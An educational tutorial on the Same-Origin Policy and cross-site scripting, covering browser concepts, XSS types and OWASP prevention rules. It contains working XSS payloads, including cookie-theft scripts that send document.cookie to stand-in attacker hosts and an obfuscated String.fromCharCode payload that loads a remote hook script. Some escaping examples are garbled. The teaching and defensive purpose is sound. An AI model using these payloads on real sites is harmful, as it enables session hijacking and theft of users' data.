Same Origin Policy and Cross-Site-Scripting introduction
What is an XSS Attack?
XSS attacks exploit the browser’s trust of the content received from the server. Malicious scripts are executed by the victim’s browser because the browser trusts the source of the content, even when it’s not coming from where it seems to be coming from.
What is covered here:
- Name convenction
- Basic Browser capabilities and vulnerability
- Attack methodology
- Useful HTTP headers
- Same-Origin-Policy
- Cross-Site-Scripting
- XSS examples and testing
- Obfuscation and encoding
- OWASP Prevention
1. Name convenction
Some basic names to know:
DOM or Document Object Model
is the main model by which scripting languages like Javascript handle and modify the html or xml page. It is divided hierarchically with the root level being the <html>
tag.
It is an API for interacting with objects within HTML or XML documents.
Rendering Engines
which includes layout engines and web browser engines. They convert data into a format useful for presentation to the user on the screen, they combine HTML with CSS and images.
- Webkit –> Google Chrome
- Trident –> Microsoft
- Gecko –> Firefox
- Presto –> Opera
#### Web Sockets Browser method to open responsive, full duplex communication with a server. It is a replacement for AJAX technologies, and it is native in browsers.
To see if a browser support websockets:
return !!window.WebSocket || !!window.MozWebSocket;
Ref -> https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API
Web Workers or “browser threads”
Given that Javascript run single threaded there are ways to achieve cuncurrency:
- setTimeout(func, timeout);
- setInterval(func, timeout);
Browser threads run in background and there are two types:
- shared across anything under the same origin
- that communicate only back to its creator
2. Basic Browser capabilities and vulnerability
Sandboxing
The base assumption is that the browser in a way or another will be compromised. The sandbox is a mitigating control which can be applied at:
- kernel level: to separate one user from another
- hardware level: to separate privileges between kernel/user space
- browser level: (highest level) it is the barrier between privileges given to browser by OS and privileges of a subprocess running in the broser.
To compromise the browser you need two steps:
find vuln in the browser –> break through the sandbox
Extensions and Plugins
augment browser capabilities but increase the attack surface.
Plugins differs from extensions in the fact that they need to be included in the page with an object tag or content-type-header.
Javascript: XMLHttpRequest()
Use XMLHttpRequest (XHR) objects to interact with servers, retrieve data from a URL. Heavily used in Ajax. It supports other protocol than HTTP like file
and ftp
.
Easy example:
function reqListener () {
console.log(this.responseText);
}
var oReq = new XMLHttpRequest();
oReq.onload = reqListener;
oReq.open("GET", "http://www.example.org/example.txt");
oReq.send();
ref:
- https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest
- https://developer.mozilla.org/it/docs/Web/API/XMLHttpRequest/Usare_XMLHttpRequest
3. Attack methodology (in short)
- Initiating: execute instructions on browser victim
- Retaining: you need to maintain control over time, the code need to continuously ask for your next wishes
- Attacking: you leverage control over the browser.
- Bypass the SOP: SOP is the primary sandbox. If you are able to bypass you have automatically created a succesfull attack, you can include resources from another origin.
- Attacking users: you can encourage users to enter compromising information by altering the page or granting privileges for arbitrary program or local resources.
- Attacking browser: you attack browser API and abstractions to store and recall data.
- Attacking extensions: exploiting extension could allow you to run OS commands or cross origin requests.
- Attacking Plugins: one of the most vulnerable area of the browser.
- Attacking web application:
- Attacking networks: connect to non standard ports
4. Useful HTTP Headers
5. Same-Origin-Policy
Fast example of how SOP block resource access.
test1.com can’t access data of bankofamerica.com in the same browser.
GET/POST requests can be made from one domain to *****. (all domain)
GET/POST response can be read only if:
- ports match
- domain/subdomain match
- protocol match
on both sites.
Exception
Two subdomain (different origin) under the same domain.
Ex: siteA.live.com and vulnerable.live.com
- siteA.live.com sets
document.domain = live.com
- vulnerable.live.com can set domain to “live.com” and access data of siteA.live.com
Cross Sub-Domain communication or Domain Lowering or Putting all the eggs in one basket
Same origin for COOKIES
By default cookies permit read/write access if the domain is the same but:
- No port number check
- No scheme check
vuln.live.com can poison cookies of live.com
vuln.live.com:1111 can poison cookies of live.com:2222
So? Ports are not a security boundary. Different web app on different port should be avoided.
Need cross domain requests? use CORS.
Cross-domain GET/POST can easily introduce CSRF.
6. Cross-Site-Scripting
How is the malicius js injected?
The attacker inject the code into the pages that victim downloads from the website. Example if the user input is directly included in the output.
Example: (SSI)
print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"
If user supply “<script>...</script>
” as a comment (under a post i.e) the output will be:
<html>
Latest comment:
<script>...</script>
</html>
and will be executed in the browser victim.
This is what is called Persistent XSS or Stored XSS because an attacker has been able to inject some code directly into the data storage of the application (database). This results in serving the code to whoever is watching the page without further actions by the attacker.
Let’s see another example.
This is a server side PHP script
<?php
echo $_GET['id'];
?>
if a client requests “http://example.com?id=<script>alert("hello");</script>
”
the output will be .. ?
Another input could be ?id=<iframe%20src=http://attacker.com/></iframe>
. When rendered this would include an iframe to the attacker server page.
This is a simple example of Reflected Cross-Site Scripting.
DOM-based XSS
Is purely client-side. The HTTP response doesn’t change.
- The attacker crafts a URL containing a malicious string and sends it to the victim.
- The victim is tricked by the attacker into requesting the URL from the website.
- The website receives the request, but does not include the malicious string in the response.
- The victim’s browser executes the legitimate script inside the response, causing the malicious script to be inserted into the page.
- The victim’s browser executes the malicious script inserted into the page, sending the victim’s cookies to the attacker’s server.
In DOM-based XSS, the malicious JavaScript is executed at some point after the page has loaded, as a result of the page’s legitimate JavaScript treating user input in an unsafe way.
DOM-based XSS are invisible to server. If the malicious string is contained in a URL fragment identifier (after # ) then that part of URL will never leave the browser.
Other user input that is invisible to the server includes new HTML5 features like LocalStorage and IndexedDB.
In more secure scenarios there will be a WAF or Web Application Firewall configured to match XSS payloads and block the request.
What is the aim of malicious Javascript?
- Cookie theft: cookies are the most common mechanism for authentication and state maintainment under multiple HTTP requests. If an attacker is able to retrieve a cookie for an authorized client, he could impersonate him.
- Keylogging: an event listener can be registered and every input can be sent to the attacker’s own server. It is as simple as an addEventListener.
- Phishing: fake form login, DOM manipulation
Example attack scenario
If a website has low security policy (no CSP, no XSS, no secure Cookie) the simplest way to thieve a cookie is to make a request to the attacker’s own server.
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>
Scenario:
- Ada is connected to a website vulnerable of Stored XSS
- The page is loaded and the script is executed into the Ada Browser
- Ada makes a request to another origin including cookies from the actual origin.
- Attacker get Ada’s cookie logged.
No security was in place.
- No user sanitization on Comment management.
- Cookie HttpOnly flag not used.
7. XSS Examples
HTML based
<body onload=alert('test1')>
<b onmouseover=alert('Wufff!')>click me!</b>
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
Script Via Encoded URI Schemes
<IMG SRC=jAvascript:alert('test2')>
code encoding
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
cookie theft
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
How to contrast XSS
XSS is a type of code injection –> input must be secured. You MUST use the escape syntax for the part of the HTML document you’re putting untrusted data into.
- Encoding: escape user input
- Validation: filter input from malicious commands
Input context:
Context | Example |
---|---|
HTML element content | <div>userInput</div> |
HTML attribute value | <input value="userInput"> |
URL query value | http://example.com/?parameter=userInput |
CSS value | color: userInput |
JavaScript value | var name = "userInput"; |
If user input is inserted directly into the HTML then:
Application code | <input value="userInput"> |
---|---|
Malicious String | "><script>...</script><input value=" |
Result | <input value=""><script>...</script><input value=""> |
To avoid this, just sanitize input (client and server side), and remove quotation marks.
Encoding
Encoding is the act of escaping user input so that the browser interprets it only as data, not as code.
Ex: HTML escaping, which converts characters like <
and >
into <
and >
.
<script>...</script>
would become <script>...</script>
JavaScript encodeURIComponent():
var uri = "https://w3schools.com/my test.asp?name=ståle&car=saab";
var res = encodeURIComponent(uri);
results in:
https%3A%2F%2Fw3schools.com%2Fmy%20test.asp%3Fname%3Dst%C3%A5le%26car%3Dsaab
Validation
Allow some HTML elements (such as <em>
and <strong>
) but disallowing others (such as <script>
).
8. URL Obfuscation
- URL shortener
- URL redirector
- URL/ASCII Encoding
- adding extra irrilevant query parameter
- converting domain into an integer –> http://4231939341
Example:
http://browservictim.com/page.html?id=1');eval(String.fromCharCode(115,
61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,10
9,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61
,39,104,116,116,112,58,47,47,98,114,111,119,115,101,114,104,97,99,107,10
1,114,46,99,111,109,47,104,111,111,107,46,106,115,39,59,100,111,99,117,1
09,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,9
7,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,10
1,110,100,67,104,105,108,100,40,115,41,59))//
will be interpreted in
http://browservictim.com/page.html?id=1');s=document.createElement('script');s.src='http://browserhacker.com/hook.js';document.getElementsByTagName('head')[0].appendChild(s);
thanks to the use of eval
and String.fromCharCode
.
9. OWASP XSS Prevention rules
- Never Insert Untrusted Data Except in Allowed Locations: deny all, don’t put untrusted data into HTML document/tag and nested contexts. Example:
<script>...NEVER PUT UNTRUSTED DATA HERE...</script> directly in a script
<!--...NEVER PUT UNTRUSTED DATA HERE...--> inside an HTML comment
<div ...NEVER PUT UNTRUSTED DATA HERE...=test /> in an attribute name
<NEVER PUT UNTRUSTED DATA HERE... href="/test" /> in a tag name
<style>...NEVER PUT UNTRUSTED DATA HERE...</style> directly in CSS
- HTML Escape Before Inserting Untrusted Data into HTML Element Content
<body>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</body>
<div>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</div>
Escape the following characters with HTML entity encoding:
& --> &
< --> <
> --> >
" --> "
' --> '
/ --> /
- Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes:is for putting untrusted data into typical attribute values like width, name, value, etc
<div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">content</div> inside double quoted attribute
Escape all characters with ASCII values less than 256 with the &#xHH; format
- JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values: for dynamically generated JavaScript code
<script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script> one side of a quoted expression
<div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"</div> inside quoted event handler
Some JavaScript functions can never safely use untrusted data as input - EVEN IF JAVASCRIPT ESCAPED!
<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>
- CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values: You should stay away from putting untrusted data into complex properties like url, behavior, and custom (-moz-binding)
<style>selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; } </style> property value
<span style="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">text</span> property value
Example:
{ background-url : "javascript:alert(1)"; } // and all other URLs
{ text-size: "expression(alert('XSS'))"; } // only in IE
- URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values:when you want to put untrusted data into HTTP GET parameter value.
<a href="http://www.somesite.com?test=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >
- Sanitize HTML Markup with a Library Designed for the Job: like HtmlSanitizer or OWASP Java HTML Sanitizer or PHP HTML Purifier or others.
example:
var sanitizer = new HtmlSanitizer();
sanitizer.AllowedAttributes.Add("class");
var sanitized = sanitizer.Sanitize(html);
- Prevent DOM-based XSS
- Use HTTPOnly cookie flag
- Implement Content Security Policy (CSP)
- Use the X-XSS-Protection Response Header
Summary
To defend:
- HTML encode: i.e. Convert
>
to>
- Strictly validate unsafe Attributes
- URL encode: percent encoding
- URL validation
- Attribute encode: escape characters with the HTML Entity
&#xHH;
- CSS Hex encode: scaping supports
\XX
and\XXXXXX
- Javascript encoding/escaping: escape all characters with the
\uXXXX
unicode escaping format
more info at: [https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)Prevention_Cheat_Sheet](https://www.owasp.org/index.php/XSS(Cross_Site_Scripting_Prevention_Cheat_Sheet)